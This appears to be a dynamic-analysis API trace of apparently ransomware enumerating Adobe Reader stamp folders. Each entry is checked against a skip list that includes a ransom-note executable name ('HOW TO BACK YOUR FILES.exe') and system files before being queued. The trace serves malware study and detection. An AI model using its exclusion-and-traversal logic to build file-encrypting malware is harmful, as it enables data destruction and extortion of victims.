	[0057.777] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CHT", cAlternateFileName="")) returned 1
	[0057.777] lstrcmpiW (lpString1="CHT", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.777] lstrcmpiW (lpString1="CHT", lpString2="Apollon865.txt.exe") returned 1
	[0057.777] lstrcmpiW (lpString1="CHT", lpString2=".") returned 1
	[0057.777] lstrcmpiW (lpString1="CHT", lpString2="..") returned 1
	[0057.777] lstrcmpiW (lpString1="CHT", lpString2="windows") returned -1
	[0057.777] lstrcmpiW (lpString1="CHT", lpString2="bootmgr") returned 1
	[0057.777] lstrcmpiW (lpString1="CHT", lpString2="temp") returned -1
	[0057.777] lstrcmpiW (lpString1="CHT", lpString2="pagefile.sys") returned -1
	[0057.777] lstrcmpiW (lpString1="CHT", lpString2="boot") returned 1
	[0057.777] lstrcmpiW (lpString1="CHT", lpString2="ids.txt") returned -1
	[0057.777] lstrcmpiW (lpString1="CHT", lpString2="ntuser.dat") returned -1
	[0057.777] lstrcmpiW (lpString1="CHT", lpString2="perflogs") returned -1
	[0057.777] lstrcmpiW (lpString1="CHT", lpString2="MSBuild") returned -1
	[0057.777] lstrlenW (lpString="CHT") returned 3
	[0057.777] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS") returned 79
	[0057.778] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="CHT" | out: lpString1="CHT") returned="CHT"
	[0057.778] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b88
	[0057.778] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa0) returned 0x5995a0
	[0057.778] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b90 | out: ListHead=0x5b76b0, ListEntry=0x5b7b90) returned 0x5b7a70
	[0057.778] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80731040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80731040, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CZE", cAlternateFileName="")) returned 1
	[0057.778] lstrcmpiW (lpString1="CZE", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.778] lstrcmpiW (lpString1="CZE", lpString2="Apollon865.txt.exe") returned 1
	[0057.778] lstrcmpiW (lpString1="CZE", lpString2=".") returned 1
	[0057.778] lstrcmpiW (lpString1="CZE", lpString2="..") returned 1
	[0057.778] lstrcmpiW (lpString1="CZE", lpString2="windows") returned -1
	[0057.778] lstrcmpiW (lpString1="CZE", lpString2="bootmgr") returned 1
	[0057.778] lstrcmpiW (lpString1="CZE", lpString2="temp") returned -1
	[0057.778] lstrcmpiW (lpString1="CZE", lpString2="pagefile.sys") returned -1
	[0057.778] lstrcmpiW (lpString1="CZE", lpString2="boot") returned 1
	[0057.778] lstrcmpiW (lpString1="CZE", lpString2="ids.txt") returned -1
	[0057.778] lstrcmpiW (lpString1="CZE", lpString2="ntuser.dat") returned -1
	[0057.778] lstrcmpiW (lpString1="CZE", lpString2="perflogs") returned -1
	[0057.778] lstrcmpiW (lpString1="CZE", lpString2="MSBuild") returned -1
	[0057.778] lstrlenW (lpString="CZE") returned 3
	[0057.778] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT") returned 79
	[0057.778] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="CZE" | out: lpString1="CZE") returned="CZE"
	[0057.778] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7bc8
	[0057.778] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa0) returned 0x5afa60
	[0057.778] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7bd0 | out: ListHead=0x5b76b0, ListEntry=0x5b7bd0) returned 0x5b7b90
	[0057.778] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DAN", cAlternateFileName="")) returned 1
	[0057.778] lstrcmpiW (lpString1="DAN", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.778] lstrcmpiW (lpString1="DAN", lpString2="Apollon865.txt.exe") returned 1
	[0057.778] lstrcmpiW (lpString1="DAN", lpString2=".") returned 1
	[0057.778] lstrcmpiW (lpString1="DAN", lpString2="..") returned 1
	[0057.778] lstrcmpiW (lpString1="DAN", lpString2="windows") returned -1
	[0057.778] lstrcmpiW (lpString1="DAN", lpString2="bootmgr") returned 1
	[0057.778] lstrcmpiW (lpString1="DAN", lpString2="temp") returned -1
	[0057.778] lstrcmpiW (lpString1="DAN", lpString2="pagefile.sys") returned -1
	[0057.778] lstrcmpiW (lpString1="DAN", lpString2="boot") returned 1
	[0057.779] lstrcmpiW (lpString1="DAN", lpString2="ids.txt") returned -1
	[0057.779] lstrcmpiW (lpString1="DAN", lpString2="ntuser.dat") returned -1
	[0057.779] lstrcmpiW (lpString1="DAN", lpString2="perflogs") returned -1
	[0057.779] lstrcmpiW (lpString1="DAN", lpString2="MSBuild") returned -1
	[0057.779] lstrlenW (lpString="DAN") returned 3
	[0057.779] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE") returned 79
	[0057.779] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="DAN" | out: lpString1="DAN") returned="DAN"
	[0057.779] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0057.779] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa0) returned 0x5afb08
	[0057.779] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7bd0
	[0057.779] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DEU", cAlternateFileName="")) returned 1
	[0057.779] lstrcmpiW (lpString1="DEU", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.779] lstrcmpiW (lpString1="DEU", lpString2="Apollon865.txt.exe") returned 1
	[0057.779] lstrcmpiW (lpString1="DEU", lpString2=".") returned 1
	[0057.779] lstrcmpiW (lpString1="DEU", lpString2="..") returned 1
	[0057.779] lstrcmpiW (lpString1="DEU", lpString2="windows") returned -1
	[0057.779] lstrcmpiW (lpString1="DEU", lpString2="bootmgr") returned 1
	[0057.779] lstrcmpiW (lpString1="DEU", lpString2="temp") returned -1
	[0057.779] lstrcmpiW (lpString1="DEU", lpString2="pagefile.sys") returned -1
	[0057.779] lstrcmpiW (lpString1="DEU", lpString2="boot") returned 1
	[0057.779] lstrcmpiW (lpString1="DEU", lpString2="ids.txt") returned -1
	[0057.779] lstrcmpiW (lpString1="DEU", lpString2="ntuser.dat") returned -1
	[0057.779] lstrcmpiW (lpString1="DEU", lpString2="perflogs") returned -1
	[0057.779] lstrcmpiW (lpString1="DEU", lpString2="MSBuild") returned -1
	[0057.779] lstrlenW (lpString="DEU") returned 3
	[0057.779] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN") returned 79
	[0057.779] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="DEU" | out: lpString1="DEU") returned="DEU"
	[0057.779] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0057.779] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa0) returned 0x5afbb0
	[0057.779] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c30 | out: ListHead=0x5b76b0, ListEntry=0x5b7c30) returned 0x5b7ab0
	[0057.779] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ENU", cAlternateFileName="")) returned 1
	[0057.779] lstrcmpiW (lpString1="ENU", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.779] lstrcmpiW (lpString1="ENU", lpString2="Apollon865.txt.exe") returned 1
	[0057.779] lstrcmpiW (lpString1="ENU", lpString2=".") returned 1
	[0057.779] lstrcmpiW (lpString1="ENU", lpString2="..") returned 1
	[0057.780] lstrcmpiW (lpString1="ENU", lpString2="windows") returned -1
	[0057.780] lstrcmpiW (lpString1="ENU", lpString2="bootmgr") returned 1
	[0057.780] lstrcmpiW (lpString1="ENU", lpString2="temp") returned -1
	[0057.780] lstrcmpiW (lpString1="ENU", lpString2="pagefile.sys") returned -1
	[0057.780] lstrcmpiW (lpString1="ENU", lpString2="boot") returned 1
	[0057.780] lstrcmpiW (lpString1="ENU", lpString2="ids.txt") returned -1
	[0057.780] lstrcmpiW (lpString1="ENU", lpString2="ntuser.dat") returned -1
	[0057.780] lstrcmpiW (lpString1="ENU", lpString2="perflogs") returned -1
	[0057.780] lstrcmpiW (lpString1="ENU", lpString2="MSBuild") returned -1
	[0057.780] lstrlenW (lpString="ENU") returned 3
	[0057.780] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU") returned 79
	[0057.780] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="ENU" | out: lpString1="ENU") returned="ENU"
	[0057.780] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0057.780] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa0) returned 0x5b58d8
	[0057.780] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ad0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ad0) returned 0x5b7c30
	[0057.780] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ESP", cAlternateFileName="")) returned 1
	[0057.780] lstrcmpiW (lpString1="ESP", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.780] lstrcmpiW (lpString1="ESP", lpString2="Apollon865.txt.exe") returned 1
	[0057.780] lstrcmpiW (lpString1="ESP", lpString2=".") returned 1
	[0057.780] lstrcmpiW (lpString1="ESP", lpString2="..") returned 1
	[0057.780] lstrcmpiW (lpString1="ESP", lpString2="windows") returned -1
	[0057.780] lstrcmpiW (lpString1="ESP", lpString2="bootmgr") returned 1
	[0057.780] lstrcmpiW (lpString1="ESP", lpString2="temp") returned -1
	[0057.780] lstrcmpiW (lpString1="ESP", lpString2="pagefile.sys") returned -1
	[0057.780] lstrcmpiW (lpString1="ESP", lpString2="boot") returned 1
	[0057.780] lstrcmpiW (lpString1="ESP", lpString2="ids.txt") returned -1
	[0057.780] lstrcmpiW (lpString1="ESP", lpString2="ntuser.dat") returned -1
	[0057.780] lstrcmpiW (lpString1="ESP", lpString2="perflogs") returned -1
	[0057.780] lstrcmpiW (lpString1="ESP", lpString2="MSBuild") returned -1
	[0057.780] lstrlenW (lpString="ESP") returned 3
	[0057.780] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU") returned 79
	[0057.780] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="ESP" | out: lpString1="ESP") returned="ESP"
	[0057.780] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7be8
	[0057.780] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa0) returned 0x5b5980
	[0057.781] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7bf0 | out: ListHead=0x5b76b0, ListEntry=0x5b7bf0) returned 0x5b7ad0
	[0057.781] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81e8c820, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EUQ", cAlternateFileName="")) returned 1
	[0057.781] lstrcmpiW (lpString1="EUQ", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.781] lstrcmpiW (lpString1="EUQ", lpString2="Apollon865.txt.exe") returned 1
	[0057.781] lstrcmpiW (lpString1="EUQ", lpString2=".") returned 1
	[0057.781] lstrcmpiW (lpString1="EUQ", lpString2="..") returned 1
	[0057.781] lstrcmpiW (lpString1="EUQ", lpString2="windows") returned -1
	[0057.781] lstrcmpiW (lpString1="EUQ", lpString2="bootmgr") returned 1
	[0057.781] lstrcmpiW (lpString1="EUQ", lpString2="temp") returned -1
	[0057.781] lstrcmpiW (lpString1="EUQ", lpString2="pagefile.sys") returned -1
	[0057.781] lstrcmpiW (lpString1="EUQ", lpString2="boot") returned 1
	[0057.781] lstrcmpiW (lpString1="EUQ", lpString2="ids.txt") returned -1
	[0057.781] lstrcmpiW (lpString1="EUQ", lpString2="ntuser.dat") returned -1
	[0057.781] lstrcmpiW (lpString1="EUQ", lpString2="perflogs") returned -1
	[0057.781] lstrcmpiW (lpString1="EUQ", lpString2="MSBuild") returned -1
	[0057.781] lstrlenW (lpString="EUQ") returned 3
	[0057.781] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP") returned 79
	[0057.781] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="EUQ" | out: lpString1="EUQ") returned="EUQ"
	[0057.781] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0057.781] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa0) returned 0x5b5a28
	[0057.781] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7bf0
	[0057.781] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7feb61e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FRA", cAlternateFileName="")) returned 1
	[0057.781] lstrcmpiW (lpString1="FRA", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.781] lstrcmpiW (lpString1="FRA", lpString2="Apollon865.txt.exe") returned 1
	[0057.781] lstrcmpiW (lpString1="FRA", lpString2=".") returned 1
	[0057.781] lstrcmpiW (lpString1="FRA", lpString2="..") returned 1
	[0057.781] lstrcmpiW (lpString1="FRA", lpString2="windows") returned -1
	[0057.781] lstrcmpiW (lpString1="FRA", lpString2="bootmgr") returned 1
	[0057.781] lstrcmpiW (lpString1="FRA", lpString2="temp") returned -1
	[0057.781] lstrcmpiW (lpString1="FRA", lpString2="pagefile.sys") returned -1
	[0057.781] lstrcmpiW (lpString1="FRA", lpString2="boot") returned 1
	[0057.781] lstrcmpiW (lpString1="FRA", lpString2="ids.txt") returned -1
	[0057.781] lstrcmpiW (lpString1="FRA", lpString2="ntuser.dat") returned -1
	[0057.782] lstrcmpiW (lpString1="FRA", lpString2="perflogs") returned -1
	[0057.782] lstrcmpiW (lpString1="FRA", lpString2="MSBuild") returned -1
	[0057.782] lstrlenW (lpString="FRA") returned 3
	[0057.782] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ") returned 79
	[0057.782] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="FRA" | out: lpString1="FRA") returned="FRA"
	[0057.782] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ca8
	[0057.782] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa0) returned 0x5b5ad0
	[0057.782] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7cb0 | out: ListHead=0x5b76b0, ListEntry=0x5b7cb0) returned 0x5b7c50
	[0057.782] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a827790, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3a827790, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0057.782] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0057.782] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8070aee0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HRV", cAlternateFileName="")) returned 1
	[0057.782] lstrcmpiW (lpString1="HRV", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0057.782] lstrcmpiW (lpString1="HRV", lpString2="Apollon865.txt.exe") returned 1
	[0057.782] lstrcmpiW (lpString1="HRV", lpString2=".") returned 1
	[0057.782] lstrcmpiW (lpString1="HRV", lpString2="..") returned 1
	[0057.782] lstrcmpiW (lpString1="HRV", lpString2="windows") returned -1
	[0057.782] lstrcmpiW (lpString1="HRV", lpString2="bootmgr") returned 1
	[0057.782] lstrcmpiW (lpString1="HRV", lpString2="temp") returned -1
	[0057.782] lstrcmpiW (lpString1="HRV", lpString2="pagefile.sys") returned -1
	[0057.782] lstrcmpiW (lpString1="HRV", lpString2="boot") returned 1
	[0057.782] lstrcmpiW (lpString1="HRV", lpString2="ids.txt") returned -1
	[0057.782] lstrcmpiW (lpString1="HRV", lpString2="ntuser.dat") returned -1
	[0057.782] lstrcmpiW (lpString1="HRV", lpString2="perflogs") returned -1
	[0057.782] lstrcmpiW (lpString1="HRV", lpString2="MSBuild") returned -1
	[0057.782] lstrlenW (lpString="HRV") returned 3
	[0057.782] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA") returned 79
	[0057.782] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="HRV" | out: lpString1="HRV") returned="HRV"
	[0057.782] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0057.782] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa0) returned 0x5b5b78
	[0057.782] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7cb0
	[0057.782] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806e4d80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HUN", cAlternateFileName="")) returned 1
	[0057.782] lstrcmpiW (lpString1="HUN", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0057.782] lstrcmpiW (lpString1="HUN", lpString2="Apollon865.txt.exe") returned 1
	[0057.783] lstrcmpiW (lpString1="HUN", lpString2=".") returned 1
	[0057.783] lstrcmpiW (lpString1="HUN", lpString2="..") returned 1
	[0057.783] lstrcmpiW (lpString1="HUN", lpString2="windows") returned -1
	[0057.783] lstrcmpiW (lpString1="HUN", lpString2="bootmgr") returned 1
	[0057.783] lstrcmpiW (lpString1="HUN", lpString2="temp") returned -1
	[0057.783] lstrcmpiW (lpString1="HUN", lpString2="pagefile.sys") returned -1
	[0057.783] lstrcmpiW (lpString1="HUN", lpString2="boot") returned 1
	[0057.783] lstrcmpiW (lpString1="HUN", lpString2="ids.txt") returned -1
	[0057.783] lstrcmpiW (lpString1="HUN", lpString2="ntuser.dat") returned -1
	[0057.783] lstrcmpiW (lpString1="HUN", lpString2="perflogs") returned -1
	[0057.783] lstrcmpiW (lpString1="HUN", lpString2="MSBuild") returned -1
	[0057.783] lstrlenW (lpString="HUN") returned 3
	[0057.783] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV") returned 79
	[0057.783] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="HUN" | out: lpString1="HUN") returned="HUN"
	[0057.783] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c88
	[0057.783] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa0) returned 0x599a78
	[0057.783] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c90 | out: ListHead=0x5b76b0, ListEntry=0x5b7c90) returned 0x5b7af0
	[0057.783] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ITA", cAlternateFileName="")) returned 1
	[0057.783] lstrcmpiW (lpString1="ITA", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0057.783] lstrcmpiW (lpString1="ITA", lpString2="Apollon865.txt.exe") returned 1
	[0057.783] lstrcmpiW (lpString1="ITA", lpString2=".") returned 1
	[0057.783] lstrcmpiW (lpString1="ITA", lpString2="..") returned 1
	[0057.783] lstrcmpiW (lpString1="ITA", lpString2="windows") returned -1
	[0057.783] lstrcmpiW (lpString1="ITA", lpString2="bootmgr") returned 1
	[0057.783] lstrcmpiW (lpString1="ITA", lpString2="temp") returned -1
	[0057.783] lstrcmpiW (lpString1="ITA", lpString2="pagefile.sys") returned -1
	[0057.783] lstrcmpiW (lpString1="ITA", lpString2="boot") returned 1
	[0057.783] lstrcmpiW (lpString1="ITA", lpString2="ids.txt") returned 1
	[0057.783] lstrcmpiW (lpString1="ITA", lpString2="ntuser.dat") returned -1
	[0057.783] lstrcmpiW (lpString1="ITA", lpString2="perflogs") returned -1
	[0057.783] lstrcmpiW (lpString1="ITA", lpString2="MSBuild") returned -1
	[0057.783] lstrlenW (lpString="ITA") returned 3
	[0057.783] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN") returned 79
	[0057.784] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="ITA" | out: lpString1="ITA") returned="ITA"
	[0057.784] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c08
	[0057.784] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa0) returned 0x599b20
	[0057.784] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c10 | out: ListHead=0x5b76b0, ListEntry=0x5b7c10) returned 0x5b7c90
	[0057.784] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JPN", cAlternateFileName="")) returned 1
	[0057.784] lstrcmpiW (lpString1="JPN", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0057.784] lstrcmpiW (lpString1="JPN", lpString2="Apollon865.txt.exe") returned 1
	[0057.784] lstrcmpiW (lpString1="JPN", lpString2=".") returned 1
	[0057.784] lstrcmpiW (lpString1="JPN", lpString2="..") returned 1
	[0057.784] lstrcmpiW (lpString1="JPN", lpString2="windows") returned -1
	[0057.784] lstrcmpiW (lpString1="JPN", lpString2="bootmgr") returned 1
	[0057.784] lstrcmpiW (lpString1="JPN", lpString2="temp") returned -1
	[0057.784] lstrcmpiW (lpString1="JPN", lpString2="pagefile.sys") returned -1
	[0057.784] lstrcmpiW (lpString1="JPN", lpString2="boot") returned 1
	[0057.784] lstrcmpiW (lpString1="JPN", lpString2="ids.txt") returned 1
	[0057.784] lstrcmpiW (lpString1="JPN", lpString2="ntuser.dat") returned -1
	[0057.784] lstrcmpiW (lpString1="JPN", lpString2="perflogs") returned -1
	[0057.784] lstrcmpiW (lpString1="JPN", lpString2="MSBuild") returned -1
	[0057.784] lstrlenW (lpString="JPN") returned 3
	[0057.784] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA") returned 79
